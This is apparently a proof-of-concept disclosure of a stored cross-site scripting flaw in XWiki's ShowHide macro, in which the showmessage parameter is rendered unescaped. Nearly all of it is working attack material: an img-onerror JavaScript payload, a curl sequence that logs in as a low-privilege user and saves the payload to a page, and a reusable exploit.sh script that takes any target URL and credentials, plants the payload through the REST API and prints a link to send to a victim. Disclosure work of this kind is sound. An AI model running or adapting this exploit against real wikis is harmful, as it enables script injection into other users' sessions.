Stored cross-site scripting in XWiki ShowHide Macro through an unescaped showmessage

#set($showmessage = $escapetool.xml($mparams.showmessage))
...
{{html clean=false}}
<a ... data-show-message="$showmessage" ...>$mparams.showmessage</a>
{{/html}}

{{showhide showmessage="<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-xss','executed');alert('SHOWHIDE-XSS-'+document.domain)},1000)>"}}hidden{{/showhide}}

BASE='http://127.0.0.1:8888'
JAR=$(mktemp -t showhide-curl.cookies.XXXXXX)
PAYLOAD="{{showhide showmessage=\"<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-curl','executed');alert('SHOWHIDE-CURL-'+document.domain)},1000)>\"}}hidden{{/showhide}}"

curl -sS -c "$JAR" "$BASE/bin/login/XWiki/XWikiLogin" -o /tmp/showhide-login.html
curl -sS -b "$JAR" -c "$JAR" -o /dev/null -X POST \
  "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
  --data-urlencode 'j_username=cve' \
  --data-urlencode 'j_password=cve1234' \
  --data-urlencode "xredirect=$BASE/bin/edit/Sandbox/ShowHideCurlPoC"

curl -sS -b "$JAR" "$BASE/bin/edit/Sandbox/ShowHideCurlPoC" -o /tmp/showhide-edit.html
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' /tmp/showhide-edit.html | head -1)

curl -sS -b "$JAR" -o /dev/null -X POST \
  "$BASE/bin/save/Sandbox/ShowHideCurlPoC" \
  --data-urlencode "form_token=$TOKEN" \
  --data-urlencode 'title=ShowHide curl PoC' \
  --data-urlencode "content=$PAYLOAD" \
  --data-urlencode 'syntaxId=xwiki/2.1' \
  --data-urlencode 'comment=ShowHide low-user curl validation'

curl -sS -b "$JAR" "$BASE/bin/view/Sandbox/ShowHideCurlPoC"

<a href="javascript:void(0)" ...
 data-show-message="&#60;img ... &#62;" ...>
 <img src=x onerror=setTimeout(function(){...},1000)>
</a>

http://127.0.0.1:8888/bin/view/Sandbox/ShowHideAlertPoC

#!/usr/bin/env bash
set -euo pipefail
usage(){ echo "Usage: $0 -url <base_url> -u <username> -p <password>"; exit 1; }
BASE= USER= PASS=
while (($#)); do case "$1" in -url) BASE=${2%/}; shift 2;; -u) USER=$2; shift 2;; -p) PASS=$2; shift 2;; *) usage;; esac; done
[[ -n "$BASE" && -n "$USER" && -n "$PASS" ]] || usage
RUN=$(date +%s); PAGE="ShowHideXSS${RUN}"; WORK=$(mktemp -d); JAR="$WORK/cookies"; LOGIN="$WORK/login"; trap 'rm -rf "$WORK"' EXIT
curl -sS -c "$JAR" -b "$JAR" "$BASE/bin/login/XWiki/XWikiLogin" -o "$LOGIN"
TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' "$LOGIN" | head -n1); [[ -n "$TOKEN" ]]
curl -fsS -b "$JAR" -c "$JAR" -o /dev/null -X POST "$BASE/bin/loginsubmit/XWiki/XWikiLogin" --data-urlencode "j_username=$USER" --data-urlencode "j_password=$PASS" --data-urlencode "form_token=$TOKEN"
echo "Admin HTTP: $(curl -sS -b "$JAR" -o /dev/null -w '%{http_code}' "$BASE/bin/admin/XWiki/XWikiPreferences")"
PAYLOAD="{{showhide showmessage=\"<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-xss','executed');alert('SHOWHIDE-XSS-'+document.domain)},1000)>\"}}hidden{{/showhide}}"
XML="<?xml version=\"1.0\"?><page xmlns=\"http://www.xwiki.org\"><title>ShowHide XSS</title><syntax>xwiki/2.1</syntax><content><![CDATA[$PAYLOAD]]></content></page>"
curl -fsS -b "$JAR" -X PUT -H 'Content-Type: application/xml' --data-binary "$XML" "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" >/dev/null
URL="$BASE/bin/view/Sandbox/$PAGE"
curl -fsS -b "$JAR" "$URL" | grep -F 'data-showhide-xss' >/dev/null
echo "Active event handler confirmed. Open as victim: $URL"

chmod +x exploit.sh
./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234